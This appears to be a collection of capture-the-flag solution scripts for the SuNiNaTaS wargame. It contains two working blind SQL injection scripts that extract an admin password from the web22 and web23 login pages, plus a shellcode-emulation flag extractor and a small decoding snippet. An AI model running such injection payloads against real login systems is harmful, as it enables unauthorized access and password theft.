Hello Navi

data = [86, 71, 57, 107, 89, 88, 107, 103, 97, 88, 77, 103, 89, 83, 66, 110, 98, 50, 57, 107, 73, 71, 82, 104, 101, 83, 52, 103, 86, 71, 104, 108, 73, 69, 70, 49, 100, 71, 104, 76, 90, 88, 107, 103, 97, 88, 77, 103, 86, 109, 86, 121, 101, 86, 90, 108, 99, 110, 108, 85, 98, 50, 53, 110, 86, 71, 57, 117, 90, 48, 100, 49, 99, 109, 107, 104]
print(''.join(f'{x:02x}' for x in data))

import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
cookies = {
    "ASP.NET_SessionId": "...",
    "auth_key": "...",
    # ... other session cookies
}

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
    found_char = False
    for char in charset:
        # Test: substring(pw, index, length) = char
        payload = f"'and(substring(pw,{i},1)='{char}')--"
        params = {'id': 'admin' + payload, 'pw': 'a'}

        try:
            r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies)
            if "OK" in r.text:
                password += char
                print(f"[+] Found char at index {i}: {char}")
                found_char = True
                break
        except Exception as e:
            print(f"[!] Error: {e}")

    if not found_char:
        break

print(f"[SUCCESS] Final Password: {password}")

import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = {"ASPSESSIONIDAASRCCSR": "..."}

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK  <font size=4 color=blue>admin"

def check_str(count, test_string):
    params = {
        'id': f"'or left(pw,{count})='{test_string}'--",
        'pw': 'ar',
    }
    try:
        response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
        return SUCCESS_INDICATOR in response.text
    except requests.RequestException:
        return False

def main():
    print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
    extracted_string = ""

    for i in range(1, MAX_LENGTH + 1):
        found = False
        for char in CHARSET:
            if check_str(i, extracted_string + char):
                extracted_string += char
                print(f"[+] Char {i}: {char}")
                found = True
                break

        if not found:
            break

    print(f"\n[SUCCESS] Password: {extracted_string}")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
x86 Emulation using Unicorn Engine to extract flag characters
pushed onto the stack during code execution.
"""

import sys
from unicorn import *
from unicorn.x86_const import *

CODE_FILE = 'message.txt'
BASE_ADDRESS = 0x1000000
STACK_ADDRESS = 0x2000000
MEM_SIZE = 2 * 1024 * 1024

flag_chars = []

def hook_mem_write(uc, access, address, size, value, user_data):
    """Capture stack writes (PUSH instructions) and extract characters."""
    if access == UC_MEM_WRITE:
        try:
            char = chr(value)
            if char.isprintable():
                flag_chars.append(char)
                print(f"[+] Pushed: '{char}' (0x{value:02x})")
        except Exception:
            pass

def main():
    # Load shellcode
    try:
        with open(CODE_FILE, 'rb') as f:
            code = f.read()
    except FileNotFoundError:
        print(f"Error: {CODE_FILE} not found.")
        sys.exit(1)

    print(f"Emulating x86 code ({len(code)} bytes)...")

    try:
        # Initialize x86 32-bit emulator
        mu = Uc(UC_ARCH_X86, UC_MODE_32)

        # Map memory regions
        mu.mem_map(BASE_ADDRESS, MEM_SIZE)
        mu.mem_map(STACK_ADDRESS, MEM_SIZE)

        # Load code
        mu.mem_write(BASE_ADDRESS, code)

        # Initialize registers
        mu.reg_write(UC_X86_REG_EAX, 0x0)
        mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + (MEM_SIZE // 2))

        # Hook memory writes to capture pushed characters
        mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

        # Execute
        mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(code))

    except UcError as e:
        # Emulation ends with an error when code runs off or lacks exit syscall
        print(f"Emulation stopped: {e}")

    # Output results
    if flag_chars:
        print(f"\n{'='*20}")
        print(f"Extracted Flag: {''.join(flag_chars)}")
        print(f"{'='*20}")

if __name__ == '__main__':
    main()